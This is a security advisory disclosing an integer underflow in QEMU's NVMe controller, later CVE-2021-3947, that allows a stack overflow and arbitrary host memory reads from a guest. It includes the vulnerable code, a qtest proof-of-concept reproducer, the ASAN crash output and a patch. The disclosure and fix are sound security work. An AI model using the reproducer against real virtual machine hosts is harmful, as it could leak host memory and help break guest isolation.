|=----------------------------------------------------------------------------=| |=-----------------------=[ Vulnerability Disclosure ]=-----------------------=| |=-------------------=[ QEMU/NVMe: Arbitrary Memory Read ]=-------------------=| |=----------------------------------------------------------------------------=| |=-----------------------=[ Thu 28 Oct 2021 17:50:57 ]=-----------------------=| |=-----------=[ https://qiuhao.org/VD_QEMU_NVME_CWE-191-125.txt ]=------------=| |=----------------------------------------------------------------------------=| -- [ Description In hw/nvme/ctrl.c:nvme_changed_nslist() [1]: static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len, uint64_t off, NvmeRequest *req) { uint32_t nslist[1024]; uint32_t trans_len; int i = 0; uint32_t nsid; memset(nslist, 0x0, sizeof(nslist)); // sizeof(nslist) = 4096, integer underflow! trans_len = MIN(sizeof(nslist) - off, buf_len); // ...... // transmit data to the guest, stack overflow! return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req); } Variable off is controlled by the guest (see nvme_get_log()), so if it is bigger than 4096, an integer underflow will happen, and trans_len will be set to buf_len, which is also partially controlled by the guest (8k in the reproducer below), thus leading to stack overflow. Even worse, since off can be set from 4098 to (uint64_t)~0, the ptr parameter of nvme_c2h() can be set to an arbitrary address, resulting in arbitrary memory read. An attacker may leverage it to leak the stack canary, bypass the ASLR, or get other sensitive information of the host. -- [ Affected Versions QEMU release 6.1.0 (previous versions may also be affected). -- [ Reproducer I wrote a PoC with comments based on Qtest. You can view the output at [3]. Test Enviorment: Ubuntu 21.04 Linux 5.11.0-38-generic x86_64 clang 12.0.0 GLIBC 2.33 libglib2.0-dev (2.68.1-1~ubuntu21.04.1) QEMU master branch, commit 4c127fdbe81d6 ```sh ./configure --enable-sanitizers && make qemu-system-x86_64 -j$(nproc) cat << EOF | ./build/qemu-system-x86_64 -nodefaults -machine type=q35,accel=qtest -nographic \ -drive file=null-co://,if=none,format=raw,id=disk0 -device nvme,drive=disk0,serial=1 -qtest stdio \ outl 0xcf8 0x80000810 /* MLBAR (BAR0) – Memory Register Base Address, lower 32-bits */ outl 0xcfc 0xe0000000 /* MMIO Base Address = 0xe0000000 */ outl 0xcf8 0x80000804 /* CMD - Command */ outw 0xcfc 0x06 /* Bus Master Enable, Memory Space Enable */ write 0xe0000024 0x4 0x02000200 /* [2] 3.1.8, Admin Queue Attributes */ write 0xe0000014 0x4 0x01004600 /* [2] 3.1.5, Controller Configuration */ /* [2] 3.1.9 Admin Submission Queue Base Address. It's 0 now, can be set through MMIO 28h ASQ */ write 0xe0001000 0x1 0x01 /* [2] 3.1.24, SQyTDBL – Submission Queue y Tail Doorbell */ write 0x00 0x1 0x02 /* cmd->opcode, NVME_ADM_CMD_GET_LOG_PAGE nvme_get_log() */ write 0x28 0x4 0x0400ff07 /* cmd->cdw10, lid = 4 NVME_LOG_CHANGED_NSLIST nvme_changed_nslist, buf_len = 8k */ write 0x30 0x4 0x10100000 /* cmd->cdw12 = 4098, Log Page Offset */ clock_step EOF ``` -- [ Mitigation From f7ada6c93bc280e023aadf1bfa340bc9e7180a72 Mon Sep 17 00:00:00 2001 From: Qiuhao Li Date: Thu, 28 Oct 2021 19:19:38 +0800 Subject: [PATCH] nvme: check if Log Page Offset is too big Signed-off-by: Qiuhao Li --- hw/nvme/ctrl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/hw/nvme/ctrl.c b/hw/nvme/ctrl.c index 6a571d18cf..3199102e41 100644 --- a/hw/nvme/ctrl.c +++ b/hw/nvme/ctrl.c @@ -4168,6 +4168,10 @@ static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len, int i = 0; uint32_t nsid; + if (off >= sizeof(nslist)) { + return NVME_INVALID_FIELD | NVME_DNR; + } + memset(nslist, 0x0, sizeof(nslist)); trans_len = MIN(sizeof(nslist) - off, buf_len); -- 2.30.2 -- [ References [1] https://github.com/qemu/qemu/blob/c52d69e7dbaaed0ffdef8125e79218672c30161d/hw/nvme/ctrl.c#L4172 [2] NVM Express Base Specification Revision 1.4 June 10, 2019 https://nvmexpress.org/wp-content/uploads/NVM-Express-1_4-2019.06.10-Ratified.pdf [3] Qtest & ASAN report (with some trace events): ``` [I 1635421842.811194] OPENED cpu_get_apic_base 0x00000000fee00900 cpu_get_apic_base 0x00000000fee00900 cpu_get_apic_base 0x00000000fee00900 [R +0.026367] outl 0xcf8 0x80000810 /* MLBAR (BAR0) – Memory Register Base Address, lower 32-bits */ cpu_out addr 0xcf8(l) value 2147485712 OK [S +0.026383] OK [R +0.026394] outl 0xcfc 0xe0000000 /* MMIO Base Address = 0xe0000000 */ cpu_out addr 0xcfc(l) value 3758096384 pci_cfg_write nvme 01:0 @0x10 <- 0xe0000000 OK [S +0.026415] OK [R +0.026423] outl 0xcf8 0x80000804 /* CMD - Command */ cpu_out addr 0xcf8(l) value 2147485700 OK [S +0.026428] OK [R +0.026442] outw 0xcfc 0x06 /* Bus Master Enable, Memory Space Enable */ cpu_out addr 0xcfc(w) value 6 pci_cfg_write nvme 01:0 @0x4 <- 0x6 pci_update_mappings_add d=0x62900000f200 00:01.0 0,0xe0000000+0x4000 OK [S +0.027189] OK [R +0.027199] write 0xe0000024 0x4 0x02000200 /* [2] 3.1.8, Admin Queue Attributes */ pci_nvme_mmio_write addr 0x24 data 0x20002 size 4 pci_nvme_mmio_aqattr wrote MMIO, admin queue attributes=0x20002 OK [S +0.027211] OK [R +0.027216] write 0xe0000014 0x4 0x01004600 /* [2] 3.1.5, Controller Configuration */ pci_nvme_mmio_write addr 0x14 data 0x460001 size 4 pci_nvme_mmio_cfg wrote MMIO, config controller config=0x460001 pci_nvme_setfeat_timestamp set feature timestamp = 0x0 pci_nvme_mmio_start_success setting controller enable bit succeeded OK [S +0.027234] OK [R +0.027241] /* Admin Submission Queue Base Address, sq->dma_addr is 0 now, can be set through MMIO 28h ASQ */ FAIL Unknown command '/*' [S +0.027245] FAIL Unknown command '/*' [R +0.027253] write 0xe0001000 0x1 0x01 /* [2] 3.1.24, SQyTDBL – Submission Queue y Tail Doorbell */ pci_nvme_mmio_write addr 0x1000 data 0x1 size 2 pci_nvme_mmio_doorbell_sq sqid 0 new_tail 1 OK [S +0.027264] OK [R +0.027279] write 0x00 0x1 0x02 /* cmd->opcode, NVME_ADM_CMD_GET_LOG_PAGE nvme_get_log() */ OK [S +0.027438] OK [R +0.027447] write 0x28 0x4 0x0400ff07 /* cmd->cdw10, lid = 4 NVME_LOG_CHANGED_NSLIST nvme_changed_nslist, buf_len = 8k */ OK [S +0.027452] OK [R +0.027457] write 0x30 0x4 0x10100000 /* cmd->cdw12 = 4098, Log Page Offset */ OK [S +0.027461] OK [R +0.027464] clock_step pci_nvme_admin_cmd cid 0 sqid 0 opc 0x2 opname 'NVME_ADM_CMD_GET_LOG_PAGE' pci_nvme_get_log cid 0 lid 0x4 lsp 0x0 rae 0x0 len 8192 off 4112 pci_nvme_map_prp trans_len 4096 len 8192 prp1 0x0 prp2 0x0 num_prps 3 pci_nvme_map_addr addr 0x0 len 4096 nvme_map_prp satatus = 0 pci_nvme_map_addr addr 0x0 len 4096 ================================================================= ==45594==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd3d6c6610 at pc 0x5639f7509077 bp 0x7ffd3d6c4910 sp 0x7ffd3d6c40d8 READ of size 4096 at 0x7ffd3d6c6610 thread T0 #0 0x5639f7509076 in __asan_memcpy (/home/qiuhao/hack/qemu/build_asan/qemu-system-x86_64+0x1aa1076) #1 0x5639f8a46f3c in flatview_write_continue /home/qiuhao/hack/qemu/build_asan/../softmmu/physmem.c:2787:13 #2 0x5639f8a3593f in flatview_write /home/qiuhao/hack/qemu/build_asan/../softmmu/physmem.c:2822:14 #3 0x5639f8a354c8 in address_space_write /home/qiuhao/hack/qemu/build_asan/../softmmu/physmem.c:2914:18 #4 0x5639f8a35c67 in address_space_rw /home/qiuhao/hack/qemu/build_asan/../softmmu/physmem.c:2924:16 #5 0x5639f772928d in dma_memory_rw_relaxed /home/qiuhao/hack/qemu/include/sysemu/dma.h:88:12 #6 0x5639f7728e30 in dma_memory_rw /home/qiuhao/hack/qemu/include/sysemu/dma.h:127:12 #7 0x5639f772552c in dma_buf_rw /home/qiuhao/hack/qemu/build_asan/../softmmu/dma-helpers.c:310:9 #8 0x5639f7725067 in dma_buf_read /home/qiuhao/hack/qemu/build_asan/../softmmu/dma-helpers.c:321:12 #9 0x5639f7f4269f in nvme_tx /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:1155:24 #10 0x5639f7fb01f4 in nvme_c2h /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:1190:12 #11 0x5639f7fc0a25 in nvme_changed_nslist /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:4203:12 #12 0x5639f7fb4515 in nvme_get_log /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:4290:16 #13 0x5639f7f7cfd5 in nvme_admin_cmd /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:5493:16 #14 0x5639f7f7afa3 in nvme_process_sq /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:5548:13 #15 0x5639f99f07ce in timerlist_run_timers /home/qiuhao/hack/qemu/build_asan/../util/qemu-timer.c:573:9 #16 0x5639f99f0afc in qemu_clock_run_timers /home/qiuhao/hack/qemu/build_asan/../util/qemu-timer.c:587:12 #17 0x5639f8adfa94 in qtest_clock_warp /home/qiuhao/hack/qemu/build_asan/../softmmu/qtest.c:372:9 #18 0x5639f8ade29d in qtest_process_command /home/qiuhao/hack/qemu/build_asan/../softmmu/qtest.c:768:9 #19 0x5639f8ad1d4d in qtest_process_inbuf /home/qiuhao/hack/qemu/build_asan/../softmmu/qtest.c:813:9 #20 0x5639f8ae1c0e in qtest_read /home/qiuhao/hack/qemu/build_asan/../softmmu/qtest.c:825:5 #21 0x5639f96e1c3d in qemu_chr_be_write_impl /home/qiuhao/hack/qemu/build_asan/../chardev/char.c:201:9 #22 0x5639f96e1cf9 in qemu_chr_be_write /home/qiuhao/hack/qemu/build_asan/../chardev/char.c:213:9 #23 0x5639f96ede65 in fd_chr_read /home/qiuhao/hack/qemu/build_asan/../chardev/char-fd.c:73:9 #24 0x5639f9184e1c in qio_channel_fd_source_dispatch /home/qiuhao/hack/qemu/build_asan/../io/channel-watch.c:84:12 #25 0x7fc435fe87ee in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x557ee) #26 0x5639f99c9769 in glib_pollfds_poll /home/qiuhao/hack/qemu/build_asan/../util/main-loop.c:232:9 #27 0x5639f99c89a3 in os_host_main_loop_wait /home/qiuhao/hack/qemu/build_asan/../util/main-loop.c:255:5 #28 0x5639f99c856c in main_loop_wait /home/qiuhao/hack/qemu/build_asan/../util/main-loop.c:531:11 #29 0x5639f8a6b873 in qemu_main_loop /home/qiuhao/hack/qemu/build_asan/../softmmu/runstate.c:726:9 #30 0x5639f753d6be in main /home/qiuhao/hack/qemu/build_asan/../softmmu/main.c:50:5 #31 0x7fc435780564 in __libc_start_main csu/../csu/libc-start.c:332:16 #32 0x5639f748ea6d in _start (/home/qiuhao/hack/qemu/build_asan/qemu-system-x86_64+0x1a26a6d) Address 0x7ffd3d6c6610 is located in stack of thread T0 at offset 4144 in frame #0 0x5639f7fc050f in nvme_changed_nslist /home/qiuhao/hack/qemu/build_asan/../hw/nvme/ctrl.c:4166 This frame has 1 object(s): [32, 4128) 'nslist' (line 4167) <== Memory access at offset 4144 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/qiuhao/hack/qemu/build_asan/qemu-system-x86_64+0x1aa1076) in __asan_memcpy Shadow bytes around the buggy address: 0x100027ad0c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100027ad0cc0: f3 f3[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 0x100027ad0cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100027ad0d10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==45594==ABORTING ``` Update, Wed, 10 Nov 2021 18:10:58 +0800: CVE ID: https://access.redhat.com/security/cve/cve-2021-3947